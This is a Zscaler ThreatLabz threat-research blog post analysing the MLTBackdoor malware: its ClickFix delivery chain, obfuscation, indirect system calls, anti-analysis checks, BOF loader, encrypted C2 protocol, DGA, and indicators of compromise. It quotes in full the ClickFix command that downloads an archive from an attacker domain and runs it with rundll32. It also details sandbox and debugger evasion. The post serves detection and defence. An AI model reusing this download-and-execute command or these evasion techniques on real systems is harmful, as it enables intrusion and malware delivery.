Blog Zscaler

Recevez les dernières mises à jour du blog de Zscaler dans votre boîte de réception

Security Research

Technical Analysis of MLTBackdoor

image
THREATLABZ
juin 09, 2026 - 15 Min de lecture

Introduction

In May 2026, Zscaler ThreatLabz identified a new malware family that we track as MLTBackdoor that is likely leveraged by a ransomware-related threat actor. MLTBackdoor has been observed by ThreatLabz being delivered in a multi-stage ClickFix infection chain. MTLBackdoor supports a set of commands like downloading and uploading files from the victim’s system. However, one of the most powerful features is the ability to load Beacon Object Files (BOFs) to expand its capabilities.

In this blog post, ThreatLabz provides a technical analysis of MLTBackdoor, including its core features, configuration, obfuscation, network communication protocol, and capabilities.

Key Takeaways

  • In May 2026, ThreatLabz identified a new malware family, MLTBackdoor, likely used in ransomware attacks to establish a foothold for lateral movement.
  • MLTBackdoor is heavily obfuscated using both Mixed Boolean-Arithmetic (MBA) and Control Flow Flattening (CFF) techniques.
  • MLTBackdoor also employs different tricks to thwart analysis, making static and dynamic analysis harder.
  • MLTBackdoor makes use of a domain generation algorithm (DGA) to avoid losing contact when the hardcoded command-and-control (C2) domains are unreachable.
  • MLTBackdoor has various filesystem related commands available and features a BOF loader designed to dynamically add new capabilities.

Technical Analysis

In the following sections, ThreatLabz examines the technical details of MLTBackdoor, including its obfuscation methods, anti-analysis techniques, network protocol, and supported commands.

Initial infection chain

The infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed:

"C:\WINDOWS\system32\conhost.exe" --headless cmd /c "md C:\users\\AppData\Local\Temp\x&curl -skLo C:\users\\AppData\Local\Temp\x\t hxxps://hrs2y15sungu[.]com/d&pushd C:\users\\AppData\Local\Temp\x&tar xf t&del t&rundll32 endpointdlp.dll,#2"

The downloaded file, retrieved from a domain that appears in that day’s domain DGA set (discussed later), is a compressed archive that contains the following files:

  • data.bin
  • endpointdlp.dll

The endpointdlp.dll file decrypts the RC4-encrypted data.bin file, which contains the second stage of the infection chain. The decryption key is stored in its own header and has the following structure:

struct mlt_payload_header
{
   uint32_t payload_size;
   uint8_t  RC4_key[32];
   uint8_t  encrypted_payload[payload_size];                                           
};

The decrypted payload is the MLTBackdoor itself. It first performs a self-update, then reuses the endpointdlp.dll filename and sideloads it via a legitimate signed Microsoft Defender mpextms.exe executable.

Obfuscation and API hashing

MLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator. These methods are described in the following sections.

Mixed Boolean-Arithmetic (MBA)

The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow. For instance, the following figure shows part of the DGA function, where numerous mathematical operations are performed solely to add noise:

MBA obfuscation in MLTBackdoor’s DGA function.

Figure 1: MBA obfuscation in MLTBackdoor’s DGA function.

A single increment turns into several lines. For example:

v275 = 2 * (-163 * v248 - 164 * ~v248) - 328;
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;
v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306;
v279 = -22*v248 - 22*~v248 - 22;

But if we replace ~x with -x - 1 they collapse, as shown in the table below:

Expression

Simplified

v275 = 2 * (-163 * v248 - 164 * ~v248) - 328;

v275 = 2 * v248

v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;

v276 = v261 + v275

v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306;

v277 = v276

v279 = -22*v248 - 22*~v248 - 22;

v279 = 0

Table 1: Simplified MLTBackdoor MBA examples.

MLTBackdoor makes extensive use of this technique to the point that around 95% of its code is just extra, unnecessary calculations.

Control Flow Flattening (CFF)

MLTBackdoor also uses control flow flattening (CFF). CFF replaces every if/else block with a large while(1){ switch(state) { … }} structure, so a function ends up looking similar to the following figure:

CFF obfuscation in MLTBackdoor’s command-handling function.

Figure 2: CFF obfuscation in MLTBackdoor’s command-handling function.

This method essentially uses a few instructions to transform a straightforward function into something that is difficult to understand. The obfuscator shuffles blocks which obscures execution order with different state assignments.

MLTBackdoor performs two additional steps to complicate analysis further:

  • The state value is stored at stack offset + N (rsp+N) and is XOR’ed before each comparison.
  • The calculation of the next state is wrapped in MBA.

The pseudocode for these steps is shown in the figure below.

Example of MLTBackdoor’s CFF state obfuscation and MBA.

Figure 3: Example of MLTBackdoor’s CFF state obfuscation and MBA.

Stack strings

Unlike most malware families, string values are not encrypted or encoded. Instead the strings are constructed at runtime byte-by-byte on the stack. On its own, this isn’t particularly remarkable, but combined with MBA and CFF it results in fragmented strings. For example, the C2 string may be constructed by calling two functions and stitching them together as follows:

MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.

Figure 4: MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.

Taken together, these routines construct the full cwrtwright[.]com C2 domain. However, because the string is built across a flattened state machine, the only reliable way to recover it is to trace the state transitions, defeating tools like FLOSS that look for consecutive characters in memory.

API resolution

MLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.

The main difference in MLTBackdoor’s API resolution is how it feeds the strings to the algorithm. ThreatLabz observed the following three cases:

  • Normal WinAPI lookups: djb2("WinHttpConnect") → 0x7242C17D
  • Same thing but in lower case: djb2("enumwindows")→ 0xDFAE1D05
  • Prepending the word “Beacon” before hashing the string: djb2("BeaconNtCreateFile") → 0xFDC751A3

Indirect system calls

Many security products hook WinAPI functions to detect abnormal calls or activity. However, by skipping user mode APIs and the kernel32 wrappers around a system call and going directly to the address where the actual system call is made, it’s possible to evade detection. MLTBackdoor follows this approach using a Hell’s Gate-style technique in three steps:

  • Startup builder: When first running, MLTBackdoor walks and matches ntdll exports against a list of 31 “Nt” hashes and builds a runtime table that looks like this:

Hash

SSN

Syscall Gadget Address

0x15A5ECDB (NtCreateFile)

0x55

0x7FFE12340A18 (ntdll + 0x9D2C8)

...

Table 2: Example MLTBackdoor system call table.

  • Wrapper: When it needs to call a Windows API function, MLTBackdoor calls its own wrapper, looks up the provided hash in the table, and retrieves both the system service number (SSN) and the gadget address.
  • Trampoline: Finally, MLTBackdoor jumps to the corresponding ntdll system call address, as shown in the figure below:
MLTBackdoor indirect system call trampoline.

Figure 5: MLTBackdoor indirect system call trampoline.

The full list of kernel “Nt” functions is available in the Appendix.

Anti-analysis

MLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution.

Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request, as described later in the Network communications section. The following table lists the checks and their associated flags:

Bit

Value

Check

Description

0

0x001

Hypervisor check 1

Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID and compares it against these values: VMwareVMware, VBoxVBoxVBox, XenVMMXenVMM and KVMKVMKVM.

1

0x002

Hypervisor check 2

If there are no matches in the previous step and the vendor ID is anything else, including Microsoft HV, it checks whether leaf 0x40000003 has EBX[12] set, allowing Win10/11 hosts with Virtualization-Based Security (VBS) enabled to pass, otherwise it is also flagged

2

0x004

Timing check

Performs a minimum of 5 RDTSC + CPUID  + RDTSC loops to measure the number of cycles required, which can indicate emulation, virtualization, and debugging.

3

0x008

Debugger check

Queries NtQueryInformationProcess with the ProcessDebugPort ProcessInformationClass to detect a debugger.

4

0x010

Process check

Iterates through all the names of the running processes, calculates the SHA256 hash, and compares it against a hardcoded list of hashes (the full list of cracked hashes is available in the Appendix).

5

0x020

Windows title check

Compares a list of stack-built strings (such as x64dbg, x32dbg, ollydbg, windbg, idapro, process monitor, process explorer, wireshark, fiddler, dnspy and cff explorer) to identify window titles retrieved by calling EnumWindows and GetWindowText.

6

0x040

Sandboxes drivers check

Compares drivers loaded with the following name list: vbox, vmci, vmhgfs, virtio, vioscsi, and xenbus.

7

0x080

RAM check

Checks if RAM is below 2GB.

8

0x100

CPU number check

Checks if the number of processors is 1.

9

0x200

Uptime check

Checks whether the uptime is less than 5 minutes.

Table 3: MLTBackdoor anti-analysis checks and flags.

Capabilities

MLTBackdoor includes a small set of built-in commands:

  • download: Grabs a file from the victim’s machine.
  • upload: Drops a file on the victim’s machine.
  • ls: Lists files in a directory.
  • delete: Deletes a file or folder.
  • rename: Renames or moves a file or folder.
  • mkdir: Creates a new folder.

What really increases MLTBackdoor’s capabilities, however, is the BOF loader functionality.

Beacon Object File loader

A Beacon Object File (BOF) is a Microsoft Common Object File Format (MS-COFF) compiled file, containing sections, a symbol table, and relocations, that malware can map and execute within its own process, then free. Using BOFs for post-exploitation tasks was first popularized by Cobalt Strike, and there are now hundreds of community-made BOFs for a wide range of tasks.

MLTBackdoor’s BOF dispatcher follows these steps:

  1. Creates one memory block per section.
  2. Walks the COFF symbol table.
  3. Applies relocations per section.
  4. Changes section permissions to read and execute (RX) only.
  5. Handles crashes and returns them as result.
  6. Locates the entry point in the symbol table.
  7. Removes and frees allocated memory.

MLTBackdoor’s BOF loader is compatible with Cobalt Strike beacons that rely on the small subset of DJB2-hashed imports shown in the table below:

DJB2 Hash 

Resolved Import

0xE2494BA2

BeaconDataParse

0xAF1AFDD2

BeaconDataInt

0xE2835EF7

BeaconDataShort

0x22641D29

BeaconDataLength

0x80D46722

BeaconDataExtract

0x700D8660

BeaconPrintf

0x6DF4B81E

BeaconOutput

Table 4: MLTBackdoor BOF imports.

What differentiates this BOF loader is that, in addition to the small set of imports above, it includes 19 additional cases that route calls to MLTBackdoor’s own indirect system call wrappers described in the previous sections. These are shown in the table below:

DJB2 Hash 

Resolved System Call Wrapper

0xA7AF9B14

BeaconNtAllocateVirtualMemory

0xB4C56190

BeaconNtProtectVirtualMemory

0xEAB1DBB1

BeaconNtFreeVirtualMemory

0xD9C35B05

BeaconNtClose

0xFDC751A3

BeaconNtCreateFile

0x880DE2E1

BeaconNtOpenFile

0xF4092DAB

BeaconNtReadFile

0x4A37127A

BeaconNtWriteFile

0xF3C1F72B

BeaconNtQueryInformationFile

0x85066141

BeaconNtSetInformationFile

0xBF82EC3A

BeaconNtQueryDirectoryFile

0x31E64470

BeaconNtQuerySystemInformation

0x1BEC4F21

BeaconNtOpenProcessToken

0x6D017A0C

BeaconNtQueryInformationToken

0xD163364C

BeaconNtCreateKey

0xFC5D97CA

BeaconNtOpenKey

0xE17B5121

BeaconNtSetValueKey

0x4BBA2AC8

BeaconNtDeleteValueKey

0x6AB423AB

BeaconNtDeleteKey

Table 5: Indirect system calls beacon imports supported by MLTBackdoor.

Network communication

MLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path (/api/v1/telemetry) and User-Agent (Microsoft-Delivery-Optimization/10.1) to masquerade as legitimate traffic. Network communications are encrypted using an Elliptic-Curve Diffie-Hellman (ECDH) key exchange with NIST curve P‑256 to generate a shared secret. MLTBackdoor generates a new key-pair per session, and performs ECDH with a P‑256 public key shared by the C2 server. The result is concatenated to both the session’s public key and the C2 server’s public key, and then hashed with SHA256 to derive the shared secret, which is then used as an AES-256-GCM session key. All subsequent messages are then encrypted with this AES session key with a random 12 byte nonce.

Some MLTBackdoor samples use hardcoded stack-built C2 domains in combination with a DGA, while others rely on either hardcoded domains or the DGA alone. The DGA is designed to maintain control of infected systems if the C2s are unreachable. An MLTBackdoor DGA script, including DGA domains through July 2025, is available in the ThreatLabz GitHub repository.

Domain Generation Algorithm (DGA)

MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day. The DGA algorithm is shown below in Python:

code sample

Interestingly, the domain created for April 29, 2026 (hrs2y15sungu[.]com) was used not only for C2 communication, but also used for the distribution campaign that day, as explained in the Initial infection chain section.

MLT name origin

ThreatLabz dubbed the name, MLTBackdoor, based on the first 4 magic bytes of the network communication protocol’s header. The header, which is present in every communication (client- and server-side) follows the structure below:

struct mlt_packet_header
{
   uint32_t magic;
   uint32_t session_id;
   uint32_t msg_type;
   uint32_t payload_len;
   uint8_t  nonce[12];
   uint8_t  unknown[4];
};

The magic bytes are 0x014D4C54 (or \x01MLT). The session_id consists of 4 random bytes generated via BCryptGenRandom (regenerated on each handshake). The supported msg_type values are shown in the table below:

Direction

Message Type

Description

Client -> Server

1

Check-in containing host information.

Server -> Client

2

Sends a BOF task.

Server -> Client

3

Sends a sleep command.

Server -> Client

4

Exit process.

Client -> Server

5

Command execution result.

Both directions

6

Elliptic-Curve Diffie–Hellman (ECDH) key exchange.

Server -> Client 

7

Download file.

Client -> Server

8

File data sent.

Server -> Client

9

Upload file.

Server -> Client

10

Unknown.

Server -> Client

11

ls command.

Client -> Server

12

Directory listing.

Server -> Client

13

delete command.

Server -> Client

14

rename command.

Server -> Client

15

mkdir command.

Client -> Server

16

BOF stdout.

Table 6: MLTBackdoor protocol message types.

As mentioned above, MLTBackdoor uses ECDH to generate a shared secret that is used as an AES session key. In order to perform the key exchange, MLTBackdoor first sends the session’s P-256 public key to the C2 server with the following structure:

struct mlt_handshake_request
{
   struct   mlt_packet_header;
   uint8_t  client_p256_x[32];
   uint8_t  client_p256_y[32];
   uint32_t anti_analysis_flags;
};

Below, is an example message in this format:

Example MLTBackdoor ECDH key exchange message.

Figure 6: Example MLTBackdoor ECDH key exchange message.

Once this key exchange is complete, MLTBackdoor uses the shared AES-256-GCM key to encrypt and decrypt subsequent messages. Each packet includes an encrypted payload immediately following the header, using the structure shown below:

struct mlt_packet
{
   struct   mlt_packet_header;
   uint8_t  ciphertext[payload_len];
   uint8_t  aes_gcm_tag[16];
};

 

Conclusion

Despite being relatively new, MLTBackdoor is already a formidable post-exploitation malware framework that provides filesystem access capabilities and expandable functionality with a BOF loader. Most MLTBackdoor binaries leverage CFF and MBA to complicate reverse engineering along with techniques to evade malware sandboxes and analysis environments. MLTBackdoor also uses a custom binary encrypted network protocol with a DGA for backup communications to hinder takedown attempts by researchers and law enforcement for additional resiliency.

Zscaler Coverage

Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for MLTBackdoor.

Zscaler Cloud Sandbox Report for MLTBackdoor.

Figure 8: Zscaler Cloud Sandbox Report for MLTBackdoor.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels with the following threat names:

Indicators Of Compromise (IOCs)

SHA256

Description

1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984

Stage one loader.

46b2155c1e71b840d4b7a2e94410b89a61e2446523e6f497206d402eb02e0e93

Archive with stage one loader and encrypted MLTBackdoor.

9e52cc90cff150abe21f0a6440e86e0a99ff383b81061b96def8948e21d0ac66

MLTBackdoor with domains and DGA.

ced6b0f44410f6133ad63b61e04613a8b56cc3338d7b34497540e9541163e7ec

MLTBackdoor DGA only.

1d09357b6a096fdc35cd5c873eed15665d6b3c879d20c8cf01e6bca0005512cf

MLTBackdoor DGA only.

2cd88d5280a61714836f5f07a16df190911c5b952af2998dbbcda910b3b1c494

MLTBackdoor domains only.

d34e4038c5c80728f9648ba84833f69bc1ccea82e2e8e748b7b7f02fb687b92b

MLTBackdoor update sideload archive.

 

Domain

Description

hrs2y15sungu[.]com

DGA domain also used in the distribution campaign.

carrolc[.]com

MLTBackdoor C2.

cwrtwright[.]com

MLTBackdoor C2.

thomphon[.]com

MLTBackdoor C2.

powwowski[.]com/payloads/update.zip

MLTBackdoor update URL.


Appendix

DJB2 resolved hashes for Nt* API calls

DJB2 Hash

Nt* API

0x6793C34C

NtAllocateVirtualMemory

0x082962C8

NtProtectVirtualMemory

0x471AA7E9

NtFreeVirtualMemory

0x95F3A792

NtWriteVirtualMemory

0xCB0C2130

NtCreateThreadEx

0xD034FC62

NtQueryInformationProcess

0xEE4F73A8

NtQuerySystemInformation

0x5003C058

NtOpenProcess

0x8B8E133D

NtClose

0x7EB77B17

NtTraceControl

0x308BE0D0

NtSetContextThread

0x9E0E1A44

NtGetContextThread

0x0A49084A

NtDelayExecution

0xC29C5019

NtOpenFile

0xD02E20D0

NtCreateSection

0x231F196A

NtMapViewOfSection

0x595014AD

NtUnmapViewOfSection

0x780A612C

NtContinue

0x7BD07459

NtOpenProcessToken

0x2CE5A244

NtQueryInformationToken

0xA9053F72

NtQueryDirectoryFile

0x15A5ECDB

NtCreateFile

0x2E979AE3

NtReadFile

0x5DBF4A84

NtCreateKey

0x4BB73E02

NtOpenKey

0xF52D5359

NtSetValueKey

0x1B63A200

NtDeleteValueKey

0xF71037E3

NtDeleteKey

0x4725F863

NtQueryInformationFile

0x6E88B479

NtSetInformationFile

0xD69326B2

NtWriteFile


Cracked SHA256 hashes used to identify running processes

SHA256

Process Name

9e8777661a1ad9c983f03060f0a04a3244daac8c3639b3eb1bbce29355bc6c10

x64dbg.exe

e063358d88290c5d05d58594da341690024cf7fa57408a3874899f10e56d8bc8

x32dbg.exe

9c8384f93b9d347a716ea3e55b9a01250473f667b95d467126c048256b0049e9

ollydbg.exe

ed80408eb9092301e628791e7a9a2e86c6f496a9afd7b56d7c1a1684b1b87251

windbg.exe

57cfa4cbf3d6cbd13973bbf0625bfa6d20677abb0a6e6bec9a6bf587799b56fa

ida.exe

b2e1f5aedb049092135e90c153f5bd386aa81cd2df355d90912dcba33c3176e5

ida64.exe

d51ce268a585657226510586e47c58a47cee2f2bf2049008760c58dc4e6ba650

procmon.exe

75635009a00cb26d2f532ad974ede59785a18e4b30132a1f585108589394ba5a

procmon64.exe

a5a5b6257304eefe5212edfd8c0ad27f77357c5046a7acb8eb7ba72ed4bad9e0

procexp.exe

0ca2edf9982f58e63cc49ba69fb9a88762d1f220ed9482810b512d4add0f8f0b

procexp64.exe

ac66c2d47cdefb221822b9074c9810434e8da702a0694139aa9177557e6b292b

wireshark.exe

d8f291a459c1acc53f9c8dccb1049bfe2d3b00c7a86d50542dc7fd7b0628ea6a

fiddler.exe

ab0541672b57cd3b7e8c973fb9fcbecd18b7fe14c1c2f571e7a2f2921919b500

pestudio.exe

fe8557d454adc7a91162495628d269738b92b4b5d7e5d620fc3f38c27a9a41a7

dnspy.exe

fc8649547ad0ece93ad82de75cb6b875be0873774de89b78546c9a66d2043087

vmtoolsd.exe

6870e3bbf2447c96d21682caf943cf31c2e8c21c8cfb91a5092eab1c9e5f19ae

vboxservice.exe

0f7463aecc3920f9e2b32ab9d77861a9e69a3e8aa28d06b4602195623312331d

df5serv.exe

b32461077b2e04145b87e9b5177a331dfd2248b81570aa96b9a302dffe643f70

cffexplorer.exe

687968b820fd7a6bedb03d644410c663b1720ad76519e2dcf98d61df498470df

autoruns.exe

4c357a29b202b77e7db190d359ead2dfd3f8869c6808b96bfa8bee82525bb2a2

tcpview.exe

 

form submtited
Merci d'avoir lu l'article

Cet article a-t-il été utile ?

Clause de non-responsabilité : Cet article de blog a été créé par Zscaler à des fins d’information uniquement et est fourni « en l’état » sans aucune garantie d’exactitude, d’exhaustivité ou de fiabilité. Zscaler n’assume aucune responsabilité pour toute erreur ou omission ou pour toute action prise sur la base des informations fournies. Tous les sites Web ou ressources de tiers liés à cet article de blog sont fournis pour des raisons de commodité uniquement, et Zscaler n’est pas responsable de leur contenu ni de leurs pratiques. Tout le contenu peut être modifié sans préavis. En accédant à ce blog, vous acceptez ces conditions et reconnaissez qu’il est de votre responsabilité de vérifier et d’utiliser les informations en fonction de vos besoins.

Recevez les dernières mises à jour du blog de Zscaler dans votre boîte de réception

En envoyant le formulaire, vous acceptez notre politique de confidentialité.